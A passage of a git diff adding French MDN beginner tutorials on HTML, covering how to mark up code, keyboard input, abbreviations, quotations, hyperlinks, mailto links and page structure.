Objectifs :Apprendre comment utiliser HTML afin de représenter des entrées saisies par un utilisateur, des sorties produites par un système, du code, du texte simple et des variables.
+ +

HTML et l'informatique

+ +

{{glossary("HTML")}} a été conçu par des informaticiens et il sert donc particulièrement bien ce domaine. De nombreux éléments HTML sont apparus et/ou ont disparu au cours des années. Ici, nous n'aborderons que ceux qui sont en vigueur actuellement :

+ + + +

Le texte préformaté

+ +

Dans un éditeur de texte, la mise en forme s'applique simplement. Il suffit d'utiliser les caractères du clavier, d'appuyer sur la barre d'espace pour indiquer un espace, d'utiliser la touche Entrée pour passer à la ligne, etc. Normalement, chaque lettre a la même largeur et tout est donc bien aligné. Étant donné que ce qui est écrit est écrit avec du texte simple (plain text en anglais), nul besoin de se préoccuper de la couleur du texte, de sa taille de police, de l'italique, etc.

+ +

Un navigateur graphique formate le texte en fonction du code HTML et CSS. Cela fait que beaucoup de blancs (les espaces, les tabulations, les sauts de lignes) sont ignorés. Si vous appuyez sur Entrée lorsque vous tapez du code HTML, le navigateur déduira que vous souhaitez bien aligner votre code HTML. En revanche, pour indiquer clairement qu'on souhaite avoir un nouveau paragraphe, il faudra utiliser le bon élément HTML (en l'occurence {{htmlelement("p")}}).

+ +

Généralement lorsqu'on écrit un article qui porte sur l'informatique, on veut afficher, dans le navigateur, du texte, tel qu'il serait lorsqu'on le saisit dans un éditeur de texte. Pour ce faire, on utilisera l'élément {{htmlelement("pre")}}. Par défaut, un navigateur graphique affichera le texte contenu dans cet élément avec une police dont tous les caractères ont la même largeur (monospace). Toutefois, vous pourrez adapter la mise en forme à votre gré grâce à {{glossary("CSS")}}. Par exemple, lorsque vous lisez des exemples de code sur MDN, nous utilisons l'élément {{htmlelement("pre")}} (auquel on ajoute quelques couleurs CSS pour améliorer la lisibilité).

+ +

On notera qu'on ne peut toujours pas utiliser les caractères réservés (<>&), par exemple :

+ +
<pre>
+Un éditeur de texte est pratique car il suffit
+d'appuyer sur Entrée pour commencer un nouveau
+paragraphe, plutôt que d'avoir à utiliser ces
+grossières balises &lt;p&gt; et &lt;/p&gt;.
+</pre>
+ +

Cela donnera le résultat suivant :

+ +

{{EmbedLiveSample('Le_texte_préformaté','100%',90)}}

+ +
+

Par défaut, votre éditeur de texte laissera les lignes s'allonger jusqu'à éventuellement dépasser de l'écran. Le retour à la ligne automatique peut toutefois être activé dans la plupart des éditeurs pour garder un œil sur tout le contenu.

+ +

On aura la même chose avec <pre>. Il existe une propriété CSS intitulée {{cssxref("white-space")}} dont la valeur par défaut est nowrap. Si on veut que le retour à la ligne soit automatique, on utilisera la valeur pre-wrap.

+
+ +

Retranscrire du code

+ +

Naturellement, tout le texte préformaté n'est pass du code informatique. Lorsque vous mentionnez du code informatique dans votre document, vous devriez utiliser l'élément  {{HTMLElement('code')}} :

+ +
Un des mots-clés les plus importants est <code>this</code>.
+
+ +

Pour indiquer un bloc de code qui s'étend sur plusieurs lignes, vous pouvez imbriquer un élément {{HTMLElement('code')}} dans un élément {{HTMLElement('pre')}}. Certains script tiers tels que la bibliothèque highlight.js utiliseront ces balises pour ajouter de la coloration syntaxique à vos exemples de code :

+ +
<pre><code class="js">
+function coucou() {
+  console.log('coucou monde !');
+}
+</code></pre>
+ +

Retranscrire des entrées/sorties (I/O)

+ +

Les entrées sont les informations qui sont saisies, généralement par les utilisateurs, dans un ordinateur. L'ordinateur traite ces données et renvoie une sortie. On utilise parfois les termes anglais respectifs input et output, voire un acronyme pour désigner l'ensemble : I/O.

+ +

Comment retranscrire une sortie informatique

+ +

L'élément {{HTMLElement('samp')}} indique que l'ordinateur produit un texte :

+ +
Ensuite, vous verrez affiché <samp>thomas@mon-ordinateur:~$</samp>.
+
+ +

Comment retranscrire une entrée informatique

+ +

L'élément {{htmlelement('kbd')}} était initialement utilisé pour représenter une entrée saisie au clavier (kbd étant pour keyboard qui signifie clavier en anglais). Cependant, aujourd'hui, cet élément peut être utilisé pour représenter d'autres types d'entrées (comme les commandes vocales).

+ +

L'élément {{htmlelement("kbd")}} permet de marquer l'entrée attendue :

+ +
Saisissez <kbd>ls --color</kbd> sur l'invite du terminal.
+
+ +

Pour indiquer une touche donnée ou une sous-commande particulière, vous pouvez imbriquer {{htmlelement("kbd")}} avec lui-même :

+ +
Appuyez sur <kbd><kbd>Ctrl</kbd> + <kbd>C</kbd></kbd> pour arrêter le processus.
+
+ +

Dans cet exemple, le premier élément <kbd> indique la commande entière alors que les éléments imbriqués indiquent les touches à utiliser.

+ +

Assembler le tout

+ +

Il arrive souvent de combiner <samp> et <kbd>. Par exemple, lorsque l'ordinateur indique des options à l'utilisateur, on pourra imbriquer des éléments <samp> dans des éléments <kbd> :

+ +
Ensuite, choisissez <kbd><samp>Oui</samp></kbd> ou <kbd><samp>Non</samp></kbd>
+ +

Inversement, quand l'ordinateur indique quoi faire, on pourra imbrique des éléments <kbd> dans des éléments <samp>:

+ +
Attendez que l'invite indique, <samp>Appuyez sur <kbd>Entrée</kbd> pour continuer.</samp>
+ +

Selon la spécification HTML, il n'est pas nécessaire de jouer profondément sur l'imbrication de ces éléments. L'aspect le plus important de transmettre les informations avec leur sens.

+ +

Les variables de programmes ou les variables mathématiques

+ +

Dans ce cas, on utilisera l'élément {{htmlelement("var")}}. Les variables peuvent être annotées dans le texte principal mais pas dans les fragments de code.

+ +
Cette fonction utilisera deux paramètres,
+<var>x</var> et <var>y</var>.
+
+ +
+

L'élément {{htmlelement("var")}} permet d'écrire des variables pour des formules simples. En revanche, pour les formules complexes, MathML sera beaucoup plus riche et adapté.

+
+ +

En savoir plus

+ + diff --git a/files/fr/conflicting/learn/html/introduction_to_html/advanced_text_formatting_b235e00aa38ee1d4b535fc921395f446/index.html b/files/fr/conflicting/learn/html/introduction_to_html/advanced_text_formatting_b235e00aa38ee1d4b535fc921395f446/index.html new file mode 100644 index 0000000000..99ad7a8733 --- /dev/null +++ b/files/fr/conflicting/learn/html/introduction_to_html/advanced_text_formatting_b235e00aa38ee1d4b535fc921395f446/index.html @@ -0,0 +1,270 @@ +--- +title: Identifier et expliquer des abréviations avec HTML +slug: Apprendre/HTML/Comment/Identifier_et_expliquer_des_abréviations +tags: + - Beginner + - HTML + - Learn + - OpenPractices +translation_of: Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Abbreviations +translation_of_original: Learn/HTML/Howto/Mark_abbreviations_and_make_them_understandable +--- +
+

HTML fournit une méthode simple et rapide pour indiquer la présence d'abrévations et pour fournir leur signification au lecteur.

+
+ + + + + + + + + + + + +
Prérequis :Vous devriez au préalable savoir comment créer un document HTML simple.
Objectifs :Apprendre à indiquer des abréviations et des acronymes avec HTML.
+ +

À propos des abréviations

+ +

Lorsqu'on écrit, on utilise fréquemment des abréviations et des acronymes. Une abréviation est une notation raccourcie : par exemple, on écrit parfois « dev » à la place de « développeur ». Un acronyme est une combinaison, lisible, des initiales d'un groupe de termes, par exemple « NASA » signifie « National Aeronautics and Space Administration ».

+ +

Il est nécessaire de s'assurer que l'abréviation puisse être comprise par les visiteurs de la page. Sur le papier, on explicite généralement la première occurence de l'abréviation en utilisant la forme complète et abrégée avant d'utiliser la forme abrégée pour les occurences suivantes :

+ +
L'Union Européenne (UE) est composée de 28 états et les États-Unis d'Amérique (USA) contient 50 états. Les USA sont une république fédérale et l'UE est une association politique et économique de plusieurs états indépendants.
+ +
+

Cette méthode peut parfaitement s'appliquer aux pages web mais HTML fournit un outil supplémentaire pour expliquer une abréviation aux lecteurs d'une page web.

+
+ +

L'élément <abbr>

+ +

L'élément HTML abbreviation (pour abréviation en anglais) ({{HTMLElement("abbr")}}) est utilisé pour identifier les abrévations et les acronymes et permettre aux lecteurs qui ne connaitraient pas le terme de lire et comprendre le texte correctement (éventuellement grâce à un lecteur d'écran). Cet élément doit être utilisé dès que possible.

+ +
+

Note : Si vous entendez parler de l'élément <acronym>, sachez qu'il est désormais déprécié et qu'il ne devrait donc plus être utilisé car les {{Glossary("navigateur","navigateurs")}} pourraient arrêter de le supporter à tout moment.

+
+ +
<p>Pouvez-vous m'envoyer les documents <abbr>SVP</abbr> ?</p>
+ +

Il est possible d'épeler les abréviations grâce à l'attribut title de l'élément :

+ +
<p>Pouvez-vous m'envoyer les documents <abbr title="s'il vous plaît">SVP</abbr> ?</p>
+ +

Quand faut-il renseigner l'attribut title ? Ça dépend. Il n'est peut-être pas nécessaire de définir une abrévation comme « SVP » ou lorsqu'une abréviation est utilisée à de nombreuses reprises dans le document. Dans le doute, ajoutez la description complète.

+ +
+

Note : Pour les langues qui possèdent un « nombre » grammatical et notamment celles qui possèdent plus de deux nombres grammaticaux comme l'Arabe, il faudra utiliser le même nombre grammatical dans l'attribut title que celui de l'élément <abbr>.

+
+ +

Grâce à {{glossary("CSS")}}, vous pouvez ajouter, modifier ou retirer les indications visuelles autour de l'abréviation. Généralement, pour une abréviation, le navigateur affichera le contenu de l'attribut title dans une bulle lors du passage de la souris sur le texte de l'abrévation. Pour l'exemple précédent, on aura ce résultat :

+ +

{{EmbedLiveSample("L'élément_<abbr>",'100%',90)}}

+ +
+

Important : Si vous souhaitez que vos lecteurs/visiteurs comprennent l'abréviation à coup sûr, ne comptez pas seulement sur l'attribut title. Épelez l'abréviation dans le texte du document lors de la première occurence. En effet, il faut une souris pour pouvoir activer la bulle d'information qui utilisera le texte de title. Dès lors, les personnes qui utilisent un téléphone, un clavier ou un lecteur d'écran pourront plus difficilement (voire pas du tout) accéder à l'explication si celle-ci n'est présente qu'avec title.

+
+ +

Exercice

+ +

Afin de mieux connaître l'élément {{HTMLElement('abbr')}}, faisons un léger exercice. Dans le texte qui suit, identifiez les abréviations avec <abbr> et épelez les avec l'attribut title. Une fois que vous avez fini, cliquez sur « Afficher les résultats » pour voir si vous avez tout trouvé. Ces abréviations peuvent être trouvées dans le glossaire.

+ + + +

{{EmbedLiveSample('Exercice','100%',220)}}

+ +

En savoir plus

+ + diff --git a/files/fr/conflicting/learn/html/introduction_to_html/advanced_text_formatting_c8b0b9eb353375fb9a4679f68164e682/index.html b/files/fr/conflicting/learn/html/introduction_to_html/advanced_text_formatting_c8b0b9eb353375fb9a4679f68164e682/index.html new file mode 100644 index 0000000000..99e17662ab --- /dev/null +++ b/files/fr/conflicting/learn/html/introduction_to_html/advanced_text_formatting_c8b0b9eb353375fb9a4679f68164e682/index.html @@ -0,0 +1,134 @@ +--- +title: Ajouter des citations sur une page web +slug: Apprendre/HTML/Comment/Ajouter_citations_sur_page_web +tags: + - Beginner + - Guide + - HTML +translation_of: Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Quotations +translation_of_original: Learn/HTML/Howto/Add_citations_to_webpages +--- +
+

Cet article illustre comment citer quelqu'un de façon précise et en fournissant la source de la citation.

+
+ + + + + + + + + + + + +
Prérequis :Vous devriez vous être familiarisé-e avec la création de documents HTML simples.
Objectifs :Apprendre comment intégrer des citations et leurs sources.
+ +

Très souvent, nous évoquons ce qui a été dit ou écrit par d'autres. Nous construisons des arguments logiques à partir de ces textes, notamment en littérature technique, en journalisme ou en philosophie. Étant donné que ce sont les scientifiques qui ont conçu {{Glossary('HTML')}}, il existe les mécanismes nécessaires pour faire des citations dans un document HTML.

+ +

HTML permet de gérer trois scénarios liés aux citations :

+ + + +

Comment rapporter exactement les mots d'une personne

+ +

Citation en ligne

+ +

HTML fournit l'élément {{htmlelement("q")}} qui permet de créer des citations en ligne. Cela signifie qu'il s'agit de citations suffisamment courtes pour qu'elles puissent être placées dans le cours du texte.

+ +
<p>
+  Si vous lisez Cicéron dans la version latine, vous trouverez
+  un passage connu&nbsp;: <q lang="la">qui dolorem ipsum quia
+  dolor sit amet consectetur adipisci velit.</q>
+</p>
+ +

Voilà le résultat qu'on obtient avec un tel code :

+ +

{{EmbedLiveSample('Citation_en_ligne','100%')}}

+ +
+

<q> ne doit pas être utilisé pour écrire des titres d'articles ou de chapitres ou pour mettre un terme en exergue. Si vous avez besoin d'utiliser des guillemets à cet effet, il faudra les écrire manuellement :

+ +
C'est « Wingardium Leviôsa » et non « Wingardium Leviosâ ».
+ +

Les entités HTML &laquo; et &raquo; permettent de représenter les guillemets. Il faudra utiliser &ldquo; et &rdquo; pour les doubles quotes et  &lsquo; et &rsquo; pour les simples quotes.

+
+ +

Par défaut, {{glossary("navigateurs",'les navigateurs web')}} utilisent le symbole de citation approprié pour la langue utilisée. Si vous souhaitez surcharger la mise en forme par défaut, vous pouvez utiliser la propriété CSS {{cssxref('quotes')}}. Par exemple, la règle CSS qui suit imposera les guillemets français :

+ +
:lang(fr) > q {
+  quotes: '« ' ' »';
+}
+ +

Extrait complet

+ +

HTML fournit également l'élément {{htmlelement("blockquote")}} pour les citations en bloc (c'est-à-dire les citations suffisamment longues pour qu'elles méritent leurs propres paragraphes). Dans l'exemple suivant, on voit qu'on a plusieurs paragraphes au sein d'une même <blockquote> :

+ +
<p>Les mots employés par Cicéron sont devenus un
+charabia pour simuler du texte mais à l'origine, ils
+n'étaient pas dénués de sens, loin de là&nbsp;:</p>
+
+<blockquote>
+  <p>
+    Il n'y personne qui recherche ou désire obtenir la
+    douleur en tant que telle car il s'agit de la douleur.
+    Toutefois, occasionnellement, il exist des circonstances
+    selon lesquelles la peine et la douleur peuvent fournir
+    un grand plaisir.
+  </p>
+
+  <p>
+    Le sage s'en tient donc, sur ces sujets, au principe
+    de sélection : il rejette le plaisir afin de s'assurer de
+    de plus grands plaisir ou alors, il endure certaines
+    douleurs pour s'en prémunir de plus grandes.
+  </p>
+</blockquote>
+
+ +

Dans ce cas, la mise en forme appliquée par défaut par le navigateur web est une marge plus large à gauche. Là encore, vous pouvez ajuster la mise en forme à votre convenance en utilisant la propriété CSS {{cssxref('margin')}}.

+ +

Comment fournir la source d'une citation

+ +

Source implicite

+ +

Citer c'est bien, indiquer les sources c'est encore mieux. De cette façon, une source indépendante peut vérifier que la citation est correcte, voire fournir un contexte plus large pour la citation. À cet effet, l'attribut {{htmlattrxref('cite','q')}} permet d'indiquer l'URL de la source, que ce soit pour un élément {{htmlelement("q")}} ou pour un élément  {{htmlelement("blockquote")}} :

+ +
<q cite="https://fr.wikiquote.org/wiki/Hom%C3%A8re">Patience, mon cœur !</q>
+ +

En pratique, les personnes ne trouvent que très rarement cette information de source (sauf s'ils lisent le code source HTML). On peut donc préférer un lien direct dans la citation :

+ +
<q><a href="https://fr.wikiquote.org/wiki/Hom%C3%A8re">Patience, mon cœur !</a></q>
+ +

Source explicite

+ +

Pour indiquer de façon explicite l'origine de la citation, il est possible d'utiliser l'élément {{htmlelement("cite")}}. Cet élément peut indiquer l'auteur de la citation ou l'œuvre créative de laquelle elle provient.

+ +
<p>
+  <q>La pensée est libre</q>,
+  <cite id="author">Cicéron</cite> dans
+  <cite id="work" lang="la">De Finibus Bonorum et Malorum</cite>.
+</p>
+
+ +

Pour accentuer le caractère explicite de la relation entre la citation et sa source, il est également possible d'ajouter l'attribut aria-labelledby :

+ +
<p>
+  <q aria-labelledby="author work">La pensée est libre</q>,
+  <cite id="author">Cicéron</cite> dans
+  <cite id="work" lang="la">De Finibus Bonorum et Malorum</cite>.
+</p>
+
+ +

En savoir plus

+ + diff --git a/files/fr/conflicting/learn/html/introduction_to_html/creating_hyperlinks/index.html b/files/fr/conflicting/learn/html/introduction_to_html/creating_hyperlinks/index.html new file mode 100644 index 0000000000..3f2f001f9c --- /dev/null +++ b/files/fr/conflicting/learn/html/introduction_to_html/creating_hyperlinks/index.html @@ -0,0 +1,192 @@ +--- +title: Créer un hyperlien +slug: Apprendre/HTML/Comment/Créer_un_hyperlien +tags: + - Beginner + - HTML + - Learn + - Navigation +translation_of: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks +translation_of_original: Learn/HTML/Howto/Create_a_hyperlink +--- +

Dans cet article, nous verrons comment créer des liens {{glossary('accessibilité','accessibles')}} et utiles  au {{glossary("référencement")}}.

+ + + + + + + + + + + + +
Prérequis :Vous devriez, au préalable, savoir comment créer un document HTML simple. Il peut également être judicieux de se familiariser avec les URL et la notion d'hyperliens.
Objectifs :Savoir comment mettre en place des liens accessibles et utiles au référencement.
+ +

La création de liens est une compétence clé sur le web. Dans cet article, nous verrons en détails l'élément {{htmlelement("a")}} et comment l'utiliser pour créer des liens forts.

+ +

Comment créer un lien

+ +

Pour fabriquer un lien, vous aurez a minima besoin d'une cible et d'un texte :

+ +
+
cible
+
L'{{glossary("URL")}} de la destination du lien (par exemple, "https://www.mozilla.org/firefox/products/")
+
texte
+
Le texte qui décrit la destination offerte par le lien (dans le cas de l'exemple précédent, on pourrait écrire « Cette page présente les différents produits Firefox !")
+
+ +

Le texte sera placé entre les balises {{htmlelement('a')}} et la cible sera la valeur de l'attribut {{htmlattrxref('href','a')}}. Mis bout à bout, on obtient ce code :

+ +
<a href="https://www.mozilla.org/firefox/products/">
+  Cette page présente les différents produits Firefox !
+</a>
+ +

Cela affichera, sur la page web, le lien suivant :

+ +

Cette page présente les différents produits Firefox !

+ +
+

Astuce : Pour transformer une image en un lien, il suffit de placer l'élément de l'image entre les balises <a>.

+ +

L'attribut alt de l'image ne doit pas seulement décrire l'image (« c'est une flèche vers la droite »), mais doit également indiquer aux visiteurs ce qui se produit en suivant le lien (« lire le prochain billet »). Ce tutoriel explique comment insérer des images dans une page web.

+
+ +

Les ancres d'une page

+ +

Il est également possible de créer un lien qui pointe vers un endroit spécifique d'un document. Cet endroit est appelé une ancre.

+ +
    +
  1. Ajoutez un attribut {{htmlattrxref("id")}} à l'élément cible. Par exemple, changez <h2> en <h2 id="les-ancres">.
    2. +
  2. Dans l'URL du lien, placée dans l'attribut {{htmlattrxref("href","a")}}, ajoutez l'identifiant précédé d'un dièse (#) : <a href="http://www.exemple.com/index.html#les-ancres">
    3. +
+ +
+

Astuce : La plupart du temps, les visiteurs d'un site s'attendent à ce qu'un lien ouvre une nouvelle page au début de celle-ci (plutôt qu'à un endroit donné, au sein de la page). Certains visiteurs peuvent donc être désorientés lorsqu'ils suivent un lien avec une ancre.

+ +

Si vous utilisez des liens avec des ancres, essayez de les mettre en forme afin que les visiteurs du site puissent les reconnaître. Si vous utilisez des ancres entre les pages d'un de vos sites, vous pouvez utiliser {{glossary("JavaScript")}} pour créer un effet de défilement doux.

+
+ +

Créer un lien vers une ressource à télécharger

+ +

Il peut arriver qu'un lien soit utilisé pour télécharger un fichier plutôt que d'ouvrir une nouvelle page. L'attribut download peut être utilisé pour fournir un nom par défaut, à donner au fichier. Voici un exemple de lien de téléchargement pour télécharger Firefox 39 pour Windows :

+ +
<a href="https://download.mozilla.org/?product=firefox-39.0-SSL&os=win&lang=fr"
+   download="installateur-firefox-39.exe">
+  Téléchargez Firefox
+</a>
+ +

Écrire des liens accessibles

+ +

Ajouter des liens à une page est plutôt facile mais ce n'est pas tout. Les liens de vos pages doivent être accessibles à tous vos lecteurs, quel que soit le contexte de lecture et les outils qu'ils utilisent. Les visiteurs qui utilisent des lecteurs d'écran peuvent vouloir sauter de lien en lien, le texte d'un lien doit donc être compréhensible. Voici quelques règles et bonnes pratiques à mettre en œuvre.

+ +
+
Le texte d'un lien doit être compréhensible seul
+
+

Les visiteurs qui utilisent des lecteurs d'écran passent de lien en lien. Les moteurs de recherche utilisent le texte des liens pour indexer les pages ciblées. Certains visiteurs regardent les liens plutôt que les autres textes. Pour ces raisons, le texte d'un lien doit avoir un sens sans aucun autre contexte.

+ +
+

Note : Dans notre exemple, le texte du lien commence par un verbe d'action. Cela permet au lecteur de sentir une progression dans ces actions et plus généralement de préciser le rôle du lien.

+
+ +

Texte compréhensible : Télécharger Firefox

+ + 
<a href="https://firefox.com/">
+  Télécharger Firefox
+</a>
+ +

Mauvais exemple : Cliquez ici pour télécharger Firefox

+ + 
<a href="https://firefox.com/">
+  Cliquez ici
+</a>
+pour télécharger Firefox
+
+
+
N'ajoutez pas « lien vers » dans le texte du lien
+
+

Cela n'apporte aucune plus-value. Les lecteurs d'écran indiquent que l'élément est un lien. Les visiteurs qui utilisent directement un navigateur voient que c'est un lien grâce au soulignement et à sa couleur distinctive (et c'est également pour cette raison qu'il ne faut pas retirer la mise en forme d'un lien).

+ +

Bon exemple : En savoir plus sur Firefox OS

+ + 
<a href="https://developer.mozilla.org/Firefox_OS">
+  En savoir plus sur Firefox OS
+</a>
+ +

Mauvais exemple : Voici un lien sur Firefox OS

+ + 
Voici un
+<a href="https://developer.mozilla.org/Firefox_OS">
+  lien sur Firefox OS
+</a>
+
+
Indiquez la cible du lien plutôt que de copier-coller une URL
+
+

Les URL sont illisibles, encore plus lorsqu'elles sont lues par un lecteur d'écran, lettre par lettre.

+ +

Bon exemple : Candidatez pour un stage chez Mozilla

+ + 
<a href="https://careers.mozilla.org/university/">
+  Candidatez pour un stage chez Mozilla
+</a>
+ +

Mauvais exemple : https://careers.mozilla.org/university/

+ + 
<a href="https://careers.mozilla.org/university/">
+  https://careers.mozilla.org/university/
+</a>
+
+
Le texte d'un lien doit être concis
+
+

Les longs textes de lien font perdre en lisibilité et ralentissent la navigation avec les lecteurs d'écrans.

+ Bon exemple : Voici une page où vous pouvez télécharger Firefox + + 
Voici une page où vous pouvez
+<a href="https://www.mozilla.org/firefox/all/">
+  télécharger Firefox
+</a>
+
+ +

Mauvais exemple : Voici une page où vous pouvez télécharger Firefox en 90 langues différentes, pour quatre systèmes d'exploitation différents

+ + 
Voici une page où
+<a href="https://www.mozilla.org/firefox/all/">
+  vous pouvez télécharger Firefox en 90 langues différentes, pour quatre systèmes d'exploitation différents
+</a>
+
+
+
Indiquez à quoi correspond la cible du lien
+
+

Cela peut paraître évident mais on rencontre parfois des liens dont les textes n'ont rien à voir avec la destination. Soyez explicite, cela simplifiera la navigation pour vos lecteurs et améliorera votre référencement.

+ +

Bon exemple : Téléchargez Firefox, le navigateur développé par Mozilla : stable, sûr et rapide.

+ +

Mauvais exemple : Voici une autre application qui améliorera votre navigation sur le Web.

+
+
+ +

Perfectionner ses liens

+ +
+
Faites attention à l'ordre de navigation grâce aux tabulations
+
De nombreuses personnes utilisent le clavier pour naviguer sur une page web. La touche de tabulation est une des seules méthodes permettant de passer d'un lien à un autre. Par défaut, l'ordre de cette navigation correspondra à celui du document HTML. Toutefois, il est possible de surcharger cet ordre grâce à l'attribut {{htmlattrxref("tabindex")}}. Attention toutefois à bien utiliser CSS pour que l'ordre visuel (ou celui déterminé par un lecteur d'écran) soit logique pour le lecteur.
+
Gardez des liens suffisamment grands
+
+

Assurez-vous que vos liens puissent être déclenchés facilement, à la souris ou au toucher. CSS peut être utilisé pour cela. Une recherche basée sur l'expérience des utilisateurs indique que les liens devraient mesurer 72 pixels (45px étant la taille minimale). Attention à ne pas oublier ce point, notamment si vous utilisez une souris ou un pad sur votre poste de travail.

+
+
Soulignez les liens et uniquement les liens
+
Lorsque les visiteurs d'un site voient un texte souligné, ils s'attendent à ce que ce texte soit un lien. Pour cette raison, ne soulignez que les liens. Il n'est pas strictement nécessaire de souligner les liens mais la couleur ne suffira pas pour indiquer qu'un texte est un lien.
+
Utilisez une couleur distincte et identifiable pour vos liens
+
Le bleu est utilisé par défaut pour les liens. Vous pouvez utiliser une autre couleur mais celle-ci doit former un contraste suffisant avec l'arrière-plan.
+
Utilisez une mise en forme distincte pour les liens inhabituels
+
Utilisez CSS pour indiquer aux visiteurs que le lien a un comportement spécifique (un lien externe, un lien qui ouvre une page dans un nouvel onglet, un lien qui ouvre une page dans une autre langue). Voir également {{htmlattrxref("hreflang","a")}}). Sur MDN, par exemple, on ajoute un symbole devant les liens externes (par exemple l'article de Wikipédia sur Firefox OS).
+
Fournissez des cibles et des textes pour tous les liens
+
S'il n'y a pas de texte, il ne sera pas possible de voir le lien et les lecteurs d'écran diront juste « lien fin lien ». S'il n'y a pas de cible (pas de {{htmlattrxref("href")}} ou un href vide ou href="#"), le lien ne mènera nulle part.
+
+ +

En savoir plus

+ + diff --git a/files/fr/conflicting/learn/html/introduction_to_html/creating_hyperlinks_10fd94f15ce1a469a3483e0478cb5d85/index.html b/files/fr/conflicting/learn/html/introduction_to_html/creating_hyperlinks_10fd94f15ce1a469a3483e0478cb5d85/index.html new file mode 100644 index 0000000000..77e52eafb4 --- /dev/null +++ b/files/fr/conflicting/learn/html/introduction_to_html/creating_hyperlinks_10fd94f15ce1a469a3483e0478cb5d85/index.html @@ -0,0 +1,64 @@ +--- +title: Liens email +slug: Web/Guide/HTML/Liens_email +tags: + - Beginner + - Exemple + - Guide + - HTML + - Web +translation_of: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#E-mail_links +translation_of_original: Web/Guide/HTML/Email_links +--- +

Il est parfois utile de créer des liens ou des boutons qui nous permettent d'écrire un nouvel e-mail. Par exemple, on peut les utiliser pour créer un bouton « contactez-nous ». Ceci est possible grâce à l'élement HTML {{HTMLElement("a")}} et au format d'URL mailto.

+ +

Bases de mailto

+ +

Dans sa forme la plus basique et la plus utilisée, un lien mailto indique simplement l'adresse e-mail du destinataire. Par exemple :

+ +
<a href="mailto:nullepart@mozilla.org">Envoyer l'email nulle part</a>
+ +

Le résultat s'affiche comme ceci : Envoyer l'email nulle part.

+ +

En réalité, l'adresse e-mail est optionelle. Si on ne l'ajoute pas (le {{htmlattrxref("href", "a")}} contiendra simplement « mailto: »), une nouvelle fenêtre du client de messagerie de l'utilisateur s'ouvrira, sans destinataire spécifié. Cela peut être utile dans le cas d'un bouton « Partager » où l'utilisateur sélectionnera les personnes auxquelles il veut envoyer un e-mail.

+ +

Précisions

+ +

En plus de l'adresse e-mail, on peut fournir d'autres informations. En effet, n'importe quel champ d'en-tête d'un e-mail standard peut être ajoutée à l'URL mailto. Les plus communément utilisés sont « subject », « cc » et « body » (qui n'est pas réellement un champ d'entête mais qui permet de spécifier un message court pour le nouvel email). Chaque champ et sa valeur sont indiqués comme un terme de requête.

+ +
+

Note : Les valeurs de chaque champ doivent être codées au format URL.

+
+ +

Échantillons d'URL mailto

+ +

Voici quelques échantillons d'URL mailto:

+ + + +

Notez l'utilisation de l'esperluette (&) pour séparer les champs de l'URL mailto. C'est le format standard d'écriture des URL.

+ +

Exemple

+ +

Si vous voulez créer un lien qui permettrait de s'inscrire à une newsletter, vous pouvez utiliser un lien mailto comme ceci :

+ +
<a href="mailto:nullepart@mozilla.org?subject=Demande%20inscription%20newsletter&body=Inscrivez-moi%20%C3%A0%20votre%20newsletter%20%21%0D%0A%0D%0ANom%20complet%20%3A%0D%0A%0D%0AO%C3%B9%20avez-vous%20entendu%20parler%20de%20nous%20%3F">
+Inscrivez-vous à notre newsletter
+</a>
+ +

Le résultat s'affiche comme ceci : Inscrivez-vous à notre newsletter.

+ + diff --git a/files/fr/conflicting/learn/html/introduction_to_html/document_and_website_structure/index.html b/files/fr/conflicting/learn/html/introduction_to_html/document_and_website_structure/index.html new file mode 100644 index 0000000000..170ad81290 --- /dev/null +++ b/files/fr/conflicting/learn/html/introduction_to_html/document_and_website_structure/index.html @@ -0,0 +1,229 @@ +--- +title: Découper une page web en sections logiques +slug: Apprendre/HTML/Comment/Découper_une_page_web_en_sections_logiques +tags: + - Beginner + - DesignAccessibility + - HTML + - Learn +translation_of: Learn/HTML/Introduction_to_HTML/Document_and_website_structure +translation_of_original: Learn/HTML/Howto/Divide_a_webpage_into_logical_sections +--- +
+

Dans cet article, nous verrons comment structurer un document afin que son plan soit logique pour vous, vos visiteurs dont ceux qui utilisent des technologies d'aide à la navigation.

+
+ + + + + + + + + + + + +
Prérequis :Vous devriez au préalable savoir comment créer un document HTML simple.
Objectifs :Apprendre comment structurer un document web grâce aux balises sémantiques.
+ +

Les sections de base

+ +

Les sites web ont chacun leur style mais tous ont tendance à partager des composants communs :

+ +
+
l'en-tête (header)
+
Il s'agit généralement d'un grande bande horizontale, située en haut du site avec un grand titre et/ou un logo. C'est à cet endroit qu'on a toujours la même information sur le site, quelle que soit la page du site sur laquelle on est.
+
la barre de navigation
+
Celle-ci permet de faire référence aux différentes sections du site via des menus ou des onglets. Comme pour l'en-tête, la barre de navigation sera généralmeent présente sur l'ensemble du site. De nombreux concepteurs web considèrent que la barre de navigation fait partie intégrale de l'en-tête mais ce n'est pas strictement nécessaire.
+
le contenu principal
+
Une zone importante, située au centre dont le contenu est spécifique selon la page visitée.
+
le panneau ou la barre latéral-e (sidebar)
+
Il contient des informations périphériques, des liens, des citations, des publicités. Généralement, ce panneau dépend du contenu principal de la page mais on trouve également des panneaux latéraux qui agissent comme des menus de navigation secondaires.
+
le pied de page (footer)
+
C'est ici qu'on trouvera les informations de contact, de copyright… C'est un endroit où on place des informations communes à l'ensemble du site mais qui ne sont pas primordiales pour le site en tant que tel. Le pied de page est parfois utilisé par les outils de référencement afin de fournir un accès rapide à certaines parties du site.
+
+ +

Lorsqu'on assemble ces éléments, on arrive à quelque chose qui ressemble grosso modo à :

+ +

[Diagram indicating the divisions with visual cues]

+ +

HTML à la rescousse

+ +

Dans le dessin précédent, des indications visuelles permettent d'identifier rapidement l'en-tête, la barre de navigation, le contenu, etc. Cela dit, un site ne se résume pas à son aspect visuel. Une personne qui serait déficiente sur le plan visuel (par exemple quelqu'un qui est daltonien, comme 8% de la population mondiale) pourra tirer partie de concepts comme « barre de navigation » et « contenu principal », en revanche, « taille de police plus grande » et « vert clair » seront inutiles.

+ +

Dans votre code HTML, vous pouvez identifier les sections en fonction de leur fonctionnalité. C'est ce que nous verrons dans la suite de cet article. Pour savoir comment ajouter des indications visuelles, vous pouvez consulter notre tutoriel CSS.

+ +

Pour structurer une page avec cette sémantique, HTML fournit des balises dédiées :

+ + + +
+

Pour la barre de navigation, on trouvera souvent une liste, non-ordonnée, de liens placée dans un élément <nav>. Chris Coyier résume les avantages et inconvénients entre les listes et les liens directs.

+
+ +

Quel élément utiliser

+ +

